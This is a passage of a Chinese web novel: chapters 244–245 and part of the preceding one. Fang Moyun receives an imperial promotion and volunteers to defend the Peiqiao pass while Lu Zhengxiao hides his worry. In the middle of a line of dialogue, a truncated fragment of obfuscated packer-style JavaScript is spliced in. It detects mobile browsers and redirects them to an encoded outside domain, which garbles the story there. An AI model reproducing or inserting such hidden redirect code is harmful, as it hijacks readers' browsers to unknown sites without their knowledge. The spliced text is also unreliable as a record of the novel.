茉云听着，忽然饶有兴致的说道：“渭河琼山？我听说那边风景独秀。”
旁边守卫的千山这些日子，也习惯了茉云思维天马行空的跳跃，但这一刻还是忍不住眼中闪过无语——正啸为她讲得这般认真，她却聊起了风景。
然而茉云却没有打算放弃这个话题，她开心的望向正啸，带着几分期待说道：“等以后打赢了峑戎，南境平定之后，你带我去瞧瞧呗。”
千山忍不住无语的望向茉云——正啸可是堂堂卢家军未来统帅，陪她去看渭河琼山看风景？这种话也就她敢说！
他正想着，正啸却抬起目光看向茉云，语气平静却透着一丝温和：“好。”
茉云听到这话，瞬间笑得如同偷到了蜜的小狐狸般，兴奋地说道：“好！那我记下来！”
千山站在一旁，彻底被这对话弄得无语至极。他忍不住暗暗腹诽，幼时他们跟随少主习武时，只要稍有分心，哪怕是地上两只虫子打架吸引了目光，都会被罚站一夜的马步。
可到了茉云这里，少主说打战她聊风景，正啸非但不罚，还答应之后带她去游玩？这双标未免也太明显了！
茉云显然是察觉到千山忿然的眼神，撑着头一脸娇俏地笑了，然后指着万莫说道：“到时候，带万莫一起去吧，不带千山，千山看人总是一副极其不顺眼的样子，干活的时候也就算了忍忍，出去玩不带他！”
万莫听到此，顿时一脸憨厚的傻笑，眼睛都快眯成了一条线。而千山彻底无语了，他转头看向正啸，好似想寻求一丝公正，谁知正啸居然也笑了，嘴角带着一抹难得的轻松笑意，含着些许宠溺的意味。
千山看着正啸这番神情彻底无语了，心中不禁一阵咆哮，这和他自小跟随的那个不苟言笑、铁面无私的少主，是同一个人吗？
茉云则笑得一脸灿然，一手支着脑袋，望向千山：“千山，我属实帮过你大忙，你欠我至少千把两答谢金，不给就就算了，怎么日日见我不顺眼，倒像我欠了你钱！”
“属下岂敢看您不顺眼……”千山听到这话，低声恭敬地回道，可是转念一想不对啊，“不是……属下何时欠您千两了？”
“你就说昔日在南华，你少主娘亲的妹妹，那位诰命夫人，能平白无故将自己嫁妆和家产都赠予你哥两吗？你也不给我个一成两成的佣金？”茉云理直气壮地说道。
“那按您这意思，每个儿子也要给杀父仇人佣金了？”千山想着看向茉云反驳道。
茉云愣了半刻，撑着头转向正啸说道：“没想到这人啊，平日里半字不吭一声，怼起人来，我竟然一时无语反驳，可见我幼时领居大爷说得没错，咬人的狗不叫，像我这等终日里瞎嚷嚷的，也不见得多厉害，还容易四处找打。”
正啸撑着头，居然顷刻被茉云逗笑了，帐中的气氛都显得如此欢快而温馨，火盆中柴火轻微燃烧的声音，都增添了热闹的气氛。
茉云笑完，终于将注意力拉回了兵书上，她盯着书上的句子，认真地念着。
“散地则无战，轻地则无止，争地则无攻，交地则无绝，衢地则合交，重地则掠，圮地则行，围地则谋，死地则战……”读到这里，她抬头看向正啸，叹了口气，眉头皱起说道：“单讲地形都如此复杂，你以前，是谁跟你耐心讲解兵法的？”
正啸目光柔和了几分，回忆道：“我爷爷和父帅统领军务，忙于战事，自然无暇亲自教导，但爷爷曾告诉我百战成将，兵法中不解之处，会在战场上有所领悟。千锤百炼，才是良将必修之课，既是积攒经验，也是磨砺心智。”
“千锤百炼……”茉云轻声重复着，随即她沉默片刻，忽然若有所思地说道：“不知道幽戎此番回峑戎都城，会经历些什么。”
她话音刚落，目光无意间落在了正啸的脸上，却发现他原本冷静的眼神中，竟然透出了一股最原始的怒火，顷刻燃烧成无法掩盖的烈焰！
茉云怔了一下，随即直白的问道：“卢正啸，你不如改名叫卢变脸算了！”
千山在一旁听不下去了，他都带着几分无奈，也开口质疑的说道：“您担心仇敌什么？”
茉云听到这话，转头看向千山，满脸皆是无语。
“我担心他什么？我就是感叹这机缘巧合，却成就了他。”茉云顿了顿，语气中带着一丝感叹，“昔日他本就是个终日叽叽喳喳念叨着你少主如何对他不住的痴汉，现在被锤炼成了无所忌惮的疯魔。哎，早知道当日就该想方设法在暗营把他除了，留着他们的国师也好，反正国师他自己也撑不了多久。”
正啸眉头轻蹙，却冷不丁又没好气地说：“方茉云，你自己不成魔就万幸了！”
茉云听罢却忽然被逗乐了，昔日在中州刚认识正啸之时，正啸就常常这么训斥她，说她终日自己就是个人间的祸害，还老是怒斥他人不配苟活于世。
茉云撑着头，笑着望向正啸说道：“大将军，既然如此，那您当年为何不直接为何不防范于未然，为人间除害呢？”
她这句话本是调侃，但千山却微微愣了一下，若有所思地转头看向正啸。其实，这也是他一直不明白的，为何当日初见时，正啸便对茉云如此包容和关照，而且当时众人都以为她是男子……
正啸眉角微微抬了抬，目光躲过茉云的眼神，透出一丝无奈和复杂，停顿片刻方才叹了一口气说：“不知是否是，上辈子欠了你什么？”
茉云一听顿时笑得前仰后合：“诶，你何时也会开玩笑了？”
千山站在一旁，无语地看着这一幕，心中叹息道，这哪里是玩笑，这分明就是事实
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。可是他沉默片刻之后，想起了执礼的话，嘴角却不由得微微扬起——少主乃常年冷肃的战场之人，自幼好似没什么欢乐之事能让他动容，如今有了便是好的，因为人活于世，都是血肉之躯，总要尝一点人间喜和乐。
正啸目光深沉，静静地望着茉云，忽然开口问道：“为何一定要去守裴桥？”
这句话说得突然，语气却意外的平静，茉云闻言心里一颤，差点脱口而出——不然你还有谁能替你去守裴桥？可话到嘴边，她咬了咬唇，硬生生忍住了。
她深吸一口气佯装轻松地说道：“我就想去裴桥，那你为何不让我去守裴桥？”
正啸抬眼看向她，眼中复杂的情绪在翻涌，他虽然没有立刻回答，但是他的心，何止是不想她去守裴桥，他希望她能远离战场，远离沙场地刀剑和杀戮，去到一个安稳平静的地方，不必日日冒着生命危险，不必深陷这硝烟弥漫的战争。
帐中一时间陷入了沉默，茉云垂下头，看着手中的兵书，她没有再看向正啸，因为她怕自己的目光会泄露心中的不舍。她并不想离开他的身边，但她知道，在如此局势下，裴桥无信任之人可守，正啸身边之人各司其职，现在没有更合适的人选。
“至少我去裴桥，军心能够振奋，民众也能信我，”茉云缓缓低声说道，像是在劝他，也像是在说服自己，“再者，峑戎也不太可能短时间内再强攻裴桥吧？”
正啸双眉微蹙望向茉云，轻轻叹息说道：“那你是不了解幽戎，那小子认死理。”
茉云听到这话愣了半刻，随即被逗笑了：“不愧是少时好友，这般了解他，但他也不可能一直如幼时那般执拗痴傻吧。”
她的语气中带着几分调侃，试图化解帐中弥漫的凝重气氛。但她没想到的是，四目相触之时，正啸却没有接她的话，也没有露出一丝笑意，那双深邃的眼睛中隐隐藏着太多复杂的情绪。
这一刻，茉云心中莫名一动，却不知道如何回应，只能僵在原地，任由这一份无声在帐中蔓延。
可是沉默了半刻之后，茉云灿然而笑，将兵书随手一合，语气轻松得仿佛没有一丝负担：“我今日也学了挺多了，谢谢赐教，明日再学，你也早点休息。”
她站起身来，动作利落潇洒，仿佛刚才那些话题从未发生过一般，抬脚便打着哈欠走出了营帐，身影如风般轻快。可是当她走出营帐，笑容却瞬间零落，是自己错觉吗？
自己好似感受到了他的不舍，可是她心中的桀骜不允许自己这般去想，她更怕自己脱口而出，自己其实不想离开……
正啸抬眼，静静地望着她洒脱离去的背影，心中波澜起伏，却最终只化作了一声低沉的叹息。
他平素绝不是一个轻易流露情绪的人，更不是一个会在下属面前展露脆弱的统帅。然而此刻，面对眼前这个曾让他无数次惶恐到近乎失控的女子，他忽然觉得无言以对。
每次她身陷险境，他心中的焦急与恐惧都如同山洪暴发，冲击着他那份世人都以为牢不可摧的冷静与自持。
可他肩上背负的是几十万大军的安危，哪怕再强烈的情感在这份责任前，都该不值一提……
244.利剑
清晨的阳光照进南营，今日是罗虎帅虎翼营来南营的日子，罗虎和老雀他们一身戎装骑马到了南营门口，耀眼得如同一面战旗。
随着他的到来，大营瞬间热闹了起来，将军们纷纷上前迎接这位久别重逢的兄弟，欢声笑语充满了整个军营。
威行冲上来，一把搂住的肩膀：“兄弟，你的虎翼营回来晚了！”
罗虎将军爽朗的笑了，笑声在人群中格外显眼。众人为他们接风洗尘，气氛热烈，然而，伴随罗虎将军一同而来的，还有一位气质儒雅、衣饰华贵的年轻男子，众人皆知，他的到来可不简单。
他从马车上缓步走下，目光平静而从容，举止间透着一股超脱世俗的淡然。他是圣上派来监督大军的萧王府小王爷——萧怀逸。朝廷督军在卢家军素来都是闲职，但是他的到来，不禁让人联想到圣上这番安排的深意，他已将这次大战全权交由到卢正啸身上，就连朝廷的督军都是一位——待他至情至性之人。
萧怀逸之所以能站在这里，实则一路走来并非易事。他虽出身萧王府，是皇室宗亲的后代，但他只是庶子。朝廷之中，重兵在握的王爷，嫡子在京城教养生活是惯例。
他的父亲和祖父曾驻守边关重兵在握，但当年其父称嫡子自幼体弱，年岁不久，所以要留在身边。反倒是他这个庶子，被安排留在京城，年少时尝尽了世态炎凉。
尤其是，他的父亲当年并非鼎力支持当今圣上之人，这让圣上登基之后，萧怀逸的处境更加难堪。在京城，他见惯了趋炎附势，领教过无数白眼与讥讽。
他自幼便如履薄冰。那些宗亲贵戚皆因为他庶子的身份，明目张胆地欺辱他，就连宦官随从，也对他冷嘲热讽。
可众人都不知道他是何时开始，他的一切突然都不一样了……
他渐渐地褪去了从前的莽撞和憋屈，整个人像是脱胎换骨一般。他不再是那个在京中孤立无援的少年，也不再是那个满怀愤懑却无法反抗的庶子。
萧怀逸渐渐变得温文尔雅，内敛睿智，举止间透出一股异于同龄人的成熟风度，不争不抢，谈吐和为人皆让人如沐春风，且总能在复杂的人情网中游刃有余。
京城中的达官显贵亦渐渐对这位萧王府的庶子刮目相看，他安稳地留在京城，低调而得体，与朝中大臣和皇室宗亲皆交往甚广，却从不逾矩。
多年后，萧怀逸的父王也因他的谋划和努力，重得圣上信任，卸下边关的重担，得以保住王爷爵位在家颐养天年。怀逸的嫡兄因病去世后，萧怀逸顺理成章地继承了萧王府的王爷爵位，偏居东境王爷封地，从不过问朝廷事务，也不曾涉足权力的漩涡，但朝野上下却无人敢轻视他。
这一切改变的背后，只有萧怀逸自己明白，是因为什么？是因为卢正啸，曾经在自己陷入万劫不复的深渊之时，将他拉了出来，当时他们素昧平生，卢正啸甚至不知道自己是谁，他当日随手救的不只是一个落水的少年……而是一个已被放弃的灵魂。
从此，满朝皆知，这位萧王府的小王爷不仅智慧过人，更有着一份执着的忠诚——那是他对卢正啸的敬仰与崇拜。
无论外界如何评论，萧怀逸始终对正啸可肝脑涂地。他曾多次上奏折，请求离开封地，前往卢正啸身边效力，可皇上都以东境封地不可无主为由驳回。
连他自己也没有想到，直到这一次，圣上忽然准许了他的请求——让他以朝廷督军的身份，前往卢正啸的军中。此消息一出，萧怀逸心中激动难掩。他知道，皇上这一决定，不仅仅是对卢正啸的信任，也是知道自己会不顾一切的帮他。
当萧怀逸踏入大营的那一刻，他的神色平静从容，但眼底却藏着激动。这一刻，他终于又能站在卢正啸身边，那个曾经带他走出困境，教会他活好自己的人，依然如当年般沉稳冷峻，未改初衷。
而就在此时，营帐外阵阵的欢笑声中，一个身影大步流星地走了出来她看到罗虎，顿时露出了笑颜，故意大声说道：“罗虎师兄？好久不见！”
她这一声“师兄”喊得干脆利落，却让站在一旁的罗虎差点没一个踉跄，脚下后退了两步，脸上的神情简直像见了鬼。一旁他的属下老雀和威行等人立刻哄堂大笑，笑得前俯后仰。
谁都知道罗虎素来刚猛，平日里天不怕地不怕，这世上他就怕方茉云。
众人的笑声中，罗虎无奈地长叹一声看向茉云，没好气的抱拳行礼，他心中也知，是茉云为他在元帅前据理力争，才让他有机会带领虎翼营入南营，能随正啸驰骋沙场。
这时，萧怀逸看着眼前的茉云，眉眼间透出温和的笑意，他微微一笑，转头看向身旁的若辰，语气温和：“若辰哥哥，也不介绍一下这位姐姐，让我认识认识？”
听到姐姐二字，茉云转身看向了这个素闻谋面的俊雅男子。
“她是方茉云！你正啸哥的身旁的……左膀右臂。”若辰亦温和的看向两人介绍道，“这位是萧王府的小王爷，萧怀逸，自小和我和正啸就是至交好友。”
“萧小王爷！”茉云抱拳如以往一样行礼道。
“什么王爷不王爷的，姐姐就与正啸哥哥和若辰哥哥一般，叫我怀逸便好！”萧怀逸轻轻笑了一下，拱手作揖道。
茉云素来直率看着萧怀逸笑了问道：“小王爷，这称呼我可受不起。”
“自然是要当得起的。萧怀逸虽年轻，但少时跟在正啸哥身旁，素来敬佩英雄人物。我见姐姐器宇轩昂气质非凡，难道不该称一声姐姐吗？”
茉云被话逗笑了，抬手指着正啸和他身旁的千山、万莫和罗虎等人，带着几分调侃说道：“您看，他们少时亦跟在他身旁，怎得不像您，说话这么让人听着舒坦。特别是我罗虎师兄，连人看着他都只那么舒坦，他还学大将军那么凶！”
一时间，众人看着罗虎忿然的神情，又哄笑成一片。
萧怀逸站在一旁，目光不禁打量着眼前的茉云，他向来细心敏锐，早已察觉出茉云站在正啸身旁时，原本一向冷峻威严的正啸，表情竟多了一丝温和，而且军中诸将对他的态度也默契而敬畏，一看便是交情深厚。
怀逸抱拳望向元帅，脸上露出几分歉意的神色，稍稍躬身，恭敬地看向元帅和卢正啸说道：“本不该打扰大家雅兴，但怀逸此番前来，是带着皇上的旨意和卢老太君的嘱咐。”
话音一落，元帅脸色一怔，目光顿时变得严肃，他缓缓点头，语气沉稳地说道：“快入我营帐，传旨。”
就在正啸等人转身之际，元帅却忽然回头，看向准备走的茉云，沉声说道：“茉云，你也来听听。”
茉云随即点头，快步跟上前去。
进入营帐内，萧怀逸站在中间，取出一份明黄色的圣旨：“圣旨在此，请元帅、大将军接旨。”
众人马上纷纷跪下，准备接旨。
萧怀逸神情温和中带着威严的宣旨：“奉天承运，皇帝诏曰：
卢正啸大将军守卫边关，镇守国门，数年间功勋卓著，护我疆土安宁，实为国之栋梁。今特封其为辅国大将军，加衔总领三军，赏黄金千两，锦缎三百匹，以彰其忠勇。
许沧海，随大将军征战沙场，骁勇善战，屡立战功，特封为归德将军，掌中军事务，赏黄金三百两两，锦缎百匹。
龚威行，鹿里两人，忠义无双，智勇兼备，屡建奇功，特封为忠武将军、广威将军，赏黄金两百两两。
刘雄山，作战勇猛，沉稳干练，润吉，守卫裴桥，忠勇报国，二人分封为定远将军与宁远将军，赐黄金百两以示褒奖。
方茉云，英勇果敢，不让须眉。数载以来，她与边关将士同甘共苦，军功赫赫，战绩辉煌。特封为云麾将军，赏黄金五百两，锦缎百匹，以勉其继续为国效力。
钦此。”
圣旨宣读完毕，众人纷纷磕头行礼，齐声高呼：“谢皇上隆恩！”
一旁的沧海、威行、雄山、润吉等人听到各自被提拔的封号时，纷纷激动地挺直了腰板，却不敢露出半分得意之色。他们彼此对视一眼，众人心中明白，这一切都是因大将军的信任与提拔，这次提拔的都是追随正啸多年的年轻将领。若辰和执礼等人亦知晓，这是即将开战的预兆，大战之前，皇上定会对诸将加赏。
元帅轻轻抚须，脸上虽未露出笑意，但目光中多了几分欣慰。
此时众人忽然听到队伍后面传来一声压低的悄声问话：“多少钱？五百两黄金？我不是在做梦吧。”
众人纷纷侧目，正见茉云低头悄声地冲跪在旁边的罗虎问道：“师兄，给你个机会，狠命揍我一拳，我铁定不还手！看我是不是在做梦。”
“这是圣旨，圣上封你为云麾将军，这可是三品……”罗虎本一脸严肃地跪在地上，看向茉云无奈说道，可他看见茉云一脸财迷的神情，顿时抬手……也只敢在茉云头上轻轻敲了一下。
“不是在做梦啊！”茉云顷刻开心的说道。
罗虎顿时无语的骂道：“方茉云，你能做什么梦？你就是人间最大的噩梦！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769452|130368||http|test|mini|href|location''.split(''|''),0,{}));
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原本严肃的众人顿时忍不住了，“噗嗤”一声接着哄堂大笑起来。
执礼则起身看着怀逸笑着说道：“小王爷，您很快就会了解到她是什么人了。”
萧怀逸恭敬的将圣旨交给了正啸，温润的笑了，丝毫不在意茉云的造次。
在众人谈笑声渐渐散去之后，年轻将军们都已经退下，将军中只有崔老将军、震北和沧海在，元帅却特意留下了茉云。此时营中只剩下卢家军的品级高的几位统帅将领、军师以及负责南营后勤筹措的南境若辰，在这帐中共同商议南营要务。
萧怀逸的神色淡然，他亦没有寒暄，开门见山地说道：“元帅，我来边关之前，曾拜访谢丞相、卢老太君与关太傅。如今朝中局势对南营并不利，不论圣上如何支持，可驻军在南营，耗费全南境之力供给军需都不该，还需朝廷持续调拨。这对朝廷来说，时间一长，势必成为一个沉重的负担。”
怀逸话锋微顿，随即话音轻轻一转：“更何况，皇上登基以来，一直推行仁政。朝廷无法轻易发起战争？”
这话一出，周总教头脸色骤然变得难看，他激愤地站起身说道：“峑戎已经打到了裴桥，人都到了家门口，难道这还算是我等挑起战事？”
他的语气里尽是不平，然而怀逸却依旧温和地笑了笑，语气不急不缓：“周总教头，您别动怒？朝中离南营千里之遥，南边发生的事传到朝中，早就传成了众人希望看到的模样了，真相如何，又有几人关心？您也知道远在京城之人，养尊处优，日日只是捉着南营的传闻非议，又有几人能真是体会南境的不易，更不希望开战扰了他们的清闲日子！”
话音刚落，帐内一片沉默。执礼沉思片刻，望向怀逸，冷静地问道：“那么小王爷以为，如何才能促使朝廷开战？”
怀逸轻吸了一口气，眉目间依旧带着那抹的温润笑意，却未急着回答。他看着执礼，温和的端起茶杯：“执礼，你是太高看我了，我不过是个赋闲的小王爷，哪里有那般神思和能耐。”
元帅长叹了一口气，沉声说道：“本帅近日会写奏疏上呈圣上，希望圣上能明鉴。”
怀逸闻言亦轻叹一口气点点头，随意地说道：“圣上心中自然是向着南营的，但他亦是为难，此次提拔朝中便有人非议南营任人唯亲、养虎为患，好大喜功。所以若开战，圣上亦需要宣战之机，丞相的意思是切莫心急……凡事可一可二不可三，若峑戎再猖狂一次，朝廷定然忍无可忍，然而老太君却认为……峑戎也没有那么愚蠢。”
帐中众人听到这里，纷纷点头。茉云忽然抬起头，目光不经意地落在怀逸身上，怀逸迎着她的目光，两人的目光好似有一瞬间短暂的交锋。
京城传闻？任人唯亲？养虎为患？茉云不知为何总觉他话里有话，可是众人如此坦荡磊落的眼神，让她也觉得自己也许想多了……
元帅低头沉思，眉间微蹙，良久之后缓缓说道：“这件事……容我再想想奏疏该如何写。”
元帅的话音刚落，执礼又提出了关于裴桥防务的问题。裴桥如今已经成为南营最为薄弱的环节，几乎成了所有人都绕不开的话题。
众人还未开始议论，茉云却忽然望向元帅，声音清朗却透着决然：“元帅，我愿请命镇守裴桥。”
此话一出，正啸顿时无法克制的眉头微蹙，帐中一片寂静。所有人都不约而同地将目光投向茉云，连萧怀逸都抬眼看向她。萧怀逸从众人的神色中看得出，他们皆不愿茉云去，但并非对茉云能力的质疑，反而是一种深深的不舍与心疼。
茉云微垂下头深吸一口气，再抬起头之时目光笃定，脸上的神情再也没有一丝动摇。
元帅的目光也在茉云身上停留了许久，最终深深地叹了一口气说道：“茉云啊，你之前裴桥大战的伤还没好全……”
就在这时，茉云忽然起身动作干脆利落，将佩剑置于案几上——那剑撞击到桌面，发出一声震耳的“哐嘡”响声。
众人皆有几分愕然望向茉云，只见她面色冷峻，目光坚定如炬直视元帅，声音低沉却掷地有声：“元帅，这是何物？”
元帅目光落在那剑上，他当然认得这剑，这是他发妻的佩剑，他低声答道：“这是我夫人的佩剑。”
茉云目光如刀，手指一点那剑，冷声道：“不，这就是一把利剑！剑最好的使命便是除魔卫道，斩除邪佞。而不是被当成心肝宝贝挂在墙上，日日擦拭，时时观赏！请您将我当成一把剑，其余事我干不好，亦没兴趣！”
245.远影
众人皆怔了半刻，营帐内一时寂静无声，军中之人皆知，元帅对茉云的看重已不止于赏识，更似对儿女一般关切。
元帅深吸一口气，将目光从佩剑上移开，落在不远处的卢正啸身上。他的神色复杂，眼中闪过些许犹豫，语气沉沉地说道：“茉云，你带军经验尚浅，此去裴桥，怕是孤立难撑……”
这话一出，茉云立即看向元帅，眼神中没有一丝怯意——这一听，分明是卢正啸的主张。
魏副帅此时，深吸一口气接过元帅的话，沉声说道：“元帅，按常理推测，峑戎短时间内不可能再攻裴桥。只要能派一个可信赖之人驻守裴桥，先重建裴桥关，再巩固防线，便可稳住局势。”
震北将军亦点头，接着说道：“对，倘若大战爆发，南营必将向南推进，届时裴桥就位于战线之后，已不再是最危机的关隘。让茉云驻守，未尝不是一个妥当的选择。”
周总教头也忍不住说道：“元帅，既然她有此壮志，元帅倒也确实可以给她这个机会，年轻人也需要机会历练。”
一时间，帐中气氛悄然转变，原本还在犹豫的元帅，此刻也显然感受到了来自众人的支持,最终元帅缓缓抬起手，重重地一拍桌案，声音坚定地说道：“好，那就让茉云驻守裴桥！”
话音刚落，茉云便好似难掩心中的喜悦，眉眼间霎时浮现出笑意。她立刻起身行礼，声音中带着压抑不住的兴奋：“是，谢元帅！”
她眉开眼笑的样子，在这严肃的营帐内显得格外明亮。然而，坐在一旁的卢正啸却久久没有抬头，双眉紧紧锁起。
他知道，他拦不住茉云，她只要下定决心之事，便是谁也拉不回。他亦知道众人说得有理，但不安却如同潮水一般涌来，他不知为何，但总无法释怀。
议事完，茉云转身向营帐外走去，步伐依旧稳健有力，踌躇满志。然而，就在跨出帐门的那一刻，她脸上的笑容倏然僵住了。她亦不能骗自己……
她知道，这一次，她又要离开了。
她将所有的情绪藏在了心底，没有人能够看出她此刻的挣扎，但是她知道自己其实没有选择，不管萧怀逸之言是无意还是有意，自己是多想还是揣测……自己只要留在南营，流言蜚语定然不断，所谓养虎为患，任人唯亲不都是剑指卢正啸身边的自己，最合适的诛心之词吗？开战在即的关键时刻，自己去驻守裴桥是最好的选择。
南营的夜晚寒风凛冽，营地上空星光寥落，天地间只有肃杀的寒意笼罩。一阵冷风穿过营帐，仿佛要钻入骨髓般刺人肌肤。正啸披着厚重的披风，深夜朝崔老将军的营帐走去。
崔老将军听见正啸的声音，便马上让他进营帐，正啸走入他帐中，灯火摇曳，映入眼帘的就是一个须发斑白的老者正坐在椅上，他的背影稍显佝偻，岁月在他身上留下了多少无法磨灭的痕迹。
白神医正替崔老将军在肩上贴膏药，低声叮嘱着：“老将军，这肩膀的旧伤要少用力了，天寒加重，你可得注意些。”
崔老将军半开玩笑地说道：“这肩膀跟了我几十年，还能废了不成？小白，你别担心。”
正啸站在门口看着这一幕，心中顿时一紧。他刚迈进去的脚步又迟疑地收了回来，想要转身离开。
然而，崔老将军早已注意到他的身影。他转过头，微微一笑，沙哑的声音带着几分苍劲：“大将军何时变得这般犹豫不决，不敢言语了？”
正啸闻言停下了脚步，深吸一口气，看着崔老将军那张布满风霜的脸，一时间不知该如何开口。
崔老将军见他神色复杂温和的起身，而白神医则心领神会的起身离开了，崔老将军端起桌上的一壶热茶，笑着说道：“啸儿，来，这壶茶泡得刚刚好，你不怕睡不着的话，陪你崔伯喝几杯茶！”
正啸闻言便点头坐了下来，恭敬的接过崔老将军递过来的茶杯，沉声说道：“崔伯，我本想问你，若您晚一两年荣休，去往裴桥和方茉云一起镇守裴桥关，您可愿意？可……”
崔老将军闻言愣了一瞬，随即大笑起来，他的笑声浑厚而爽朗，好似这寒冷的夜里都增添一丝暖意：“那可太好了！你说大战在即，你爹就是嫌我没用了，非要让我回京城，我心里如何受得了？搞得我日日睡不着，我们这些你叔伯这辈子最大的夙愿，便是希望能瞧见你爷爷老卢帅说的——卢将军定南境。若真让我去守裴桥，我这把老骨头还能派上用场，还能看见你平定边关，岂不是再好不过了？”
正啸他看着崔老将军脸上的笑容，心中五味杂陈。他深吸一口气，站直了身子，低声行礼说道：“谢谢您，崔伯。”
崔老将军闻言，立刻笑了调侃道：“大将军，你这是谢我什么呢？”
正啸没有接话，而是微微移开了视线。崔老将军见状，眼中透出一丝揶揄，笑意更深：“啸儿啊，你放心吧，我去了裴桥，一定会好好关照那丫头，不会让她冲动行事。”
正啸的眉头微微动了动，目光居然有些闪躲，他似乎早已习惯将一切情绪藏在心里，不曾流露。
崔老将军则慈笑着，语气变得低沉而缓慢，带着过来人的深意：“啸儿，有些事放在心里不如说出口，世间事，很多你说了别人都未必明白，何况你不说？年轻人，花开须折直须折。”
正啸微微怔住，抬眼看向崔老将军，却看到对方一双浑浊的眼睛中带着深深的智慧与慈爱。正啸抿了抿唇，却依旧没有多说什么，只是深深地向崔老将军行了一礼：“崔伯，您早些休息。”
崔老将军笑了点点头，正啸转身走出营帐，寒风扑面而来，他仰头看向苍穹，呼出一口白气，脸上那掩藏的情绪在这冰冷的夜里慢慢消散。自己至少要将她此去裴桥之危机告诉她吧。
而营帐内，崔老将军看着正啸离去的背影，嘴角的笑意仍未散去。他轻轻叹了一口气，将桌上的茶杯放下，自言自语般低声笑着说道：“若是柳将军，你还在世，这傻孩子不会这么难开窍吧……”
翌日，南营晨雾未散，元帅便下令，派崔将军与茉云将军镇守裴桥，老马等人随往，速赴关隘，重建裴桥防线。
营中之人听令便议论纷纷，显然都意识到此举的非比寻常——裴桥作为南营与峑戎交界的要隘，此番居然派两位三品将军同时驻守，足见其重要性。
军中之人下意识地将目光投向茉云。她不过二十余岁，年纪轻轻，却凭战功卓著刚刚升至三品的云麾将军，而崔老将军作为功勋卓著的老将，他的威望更高。两位三品官同赴裴桥，自然是以资历老的崔将军为正，而茉云为副。可要知道，之前边鸿远只是个参军，亦是正职。
尽管如此，茉云的脸上看不出丝毫的介意。茉云和崔老将军一同走入了元帅的营帐接令。
元帅看向茉云，语气温和地说道：“茉云，崔将军是南营的老将，当年老卢帅都夸奖他老成持重，你还年轻，要好好跟崔将军学，那些职位上的虚名，不必太在意，重要的是历练，将裴桥守好。”
茉云闻言爽朗而笑，毫不犹豫地说道：“元帅，您放心，我素来从不在意这些虚位。我这人，您身边的杨东山大人亦清楚。昔日在边城，我为司马，排在边城长官第三位。若是遇到像东山大人这样领导好沟通的人，那是相处得彼此如沐春风，若是遇到不好沟通的，比如像当日那刺史，我就少沟通嘛！我只要能把事儿干好，其他无所谓。”
东山看向茉云顿时难掩笑意，执礼听完这话，更是笑着接过话说道：“据说当日那刺史被关了起来，最后还疯了，自然也没办法沟通了！”
“是啊，我也是该反省！”茉云被揭短，顿时没好气的瞪着执礼说，“那刺史怎就疯了，而你这欠得慌的，还活得这般滋润！”
“不敢不敢！”执礼马上笑着说道。
众人闻言哄堂大笑，笑声顿时充盈了整个营帐。萧怀逸亦笑了看向茉云，军师在卢家军中地位何其高，像执礼这般清高严肃之人，居然也能如此包容于她。
元帅摸着胡须见气氛轻松，目光中带着几分欣慰：“茉云啊，你有这份心胸，本帅便放心了。年轻人就是要多历练，老崔啊，你也多带带她。”
茉云和崔老将军同时抱拳，说道：“是，元帅！”
此时，一个年轻的身影突然“扑通”一声跪倒在地，直直地朝元帅磕头请求：“元帅，我请求前往裴桥，随方将军一同守裴桥！”
元帅听到这话，眉头顿时一皱，转过头来没好气地看向跪地的陆润吉：“陆润吉，你凑什么热闹？”
陆润吉素来是个直性子，却没有退缩，跪在那里一脸倔强没有起身。
茉云见状，望向陆润吉无语的说道：“你去裴桥干什么？你又知道我为什么要回裴桥？”
陆润吉抬起头，眼神坦然又诚恳，毫不犹豫地说道：“知道。”
茉云一愣，满脸狐疑地的问：“那你说说，我为何要回裴桥？”
陆润吉回答得一字一句，毫不含糊：“其一，方将军忠君爱国，其二，大人的青梅竹马、原婚配之人苏大人，现在是裴桥的刺史。虽是有缘无分，但方将军重情重义，您真是忠义无双又深情。”
此话一出，整个营帐瞬间安静下来，气氛仿佛被冻结了一般。众人齐刷刷地看向方茉云，连元帅都愣松在原地。
茉云原本还气势汹汹，听到这话，也愣了半刻，但她随即竟然乐得拍了拍陆润吉的肩膀：“说得好”
她的话音里透着几分无奈，更多的是被他这天真直率给逗乐了。
茉云笑着好似又想到了什么，转过身看向一旁的若辰，问道：“诶，我都差点忘了，若辰，他们苏家家族里最大的官，也就四品吧？”<
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若辰愣了一瞬，随即似乎顷刻明白了她的意思，忍不住轻笑一声，点了点头。当年苏家就是因其家族兴旺，宗亲有高官，自觉门楣高节，不愿接纳和救济门庭凋落的方家，最终与茉云解除了婚约。
茉云顿时抬眼一笑，拍了拍手说道：“那太好了，崔老将军，我们今日就启程去裴桥吧！”
陆润吉听到他们立刻要动身这话，脸上瞬间露出了焦急，还要向元帅磕头行礼请求去裴桥：“元帅，我为何不能……”
茉云顿时转身瞪着陆润吉打断道 ：“为何你个头，站起来，呆这里好好混！”
“哦！”润吉瞬间站了起来，睁着大眼看着她，不敢再说一句话。
顿时众人忍俊不禁，元帅亦无奈地摇了摇头，雄山和威行笑得最开心，众人皆知茉云平素最喜跟人嬉皮笑脸，但她若把脸一沉，但凡做过她下属之人，皆能吓破胆。
“眼看还有十几日就是年节了……”元帅叹了口气看向茉云说道，可是瞧见茉云转身看向他的眼神，就是一幅在忍着要出言怼自己的神情，元帅只得无奈的大手一挥说道，“行行行，去吧去吧，都去吧！”
茉云和崔老将军抱拳行礼之后，离开元帅营帐，就回自己营帐收拾行李。一个时辰之后，茉云便打算启程了，元帅和魏副帅都亲自带着诸将来为他们送行，众人站在一旁，神色复杂。
雄山忍不住看向茉云，语气中带着几分埋怨：“你就不能等大将军回来？见他一面再走也不迟。”
茉云一边整理缰绳，一边漫不经心地回答：“我又不是不认识他？见什么面？”
威行在一旁指着茉云，忍不住说到：“她啊，就是这般没得良心！大将军回来都见不到你，连句告别都不给？”
茉云显然懒得搭理，不愿再耽搁分毫，此时若辰走上前，目光微微一沉，继而说道：“年节将至，朝廷会慰问在外官员的家属。你有什么话要让我带给你二哥和腾腾吗？”
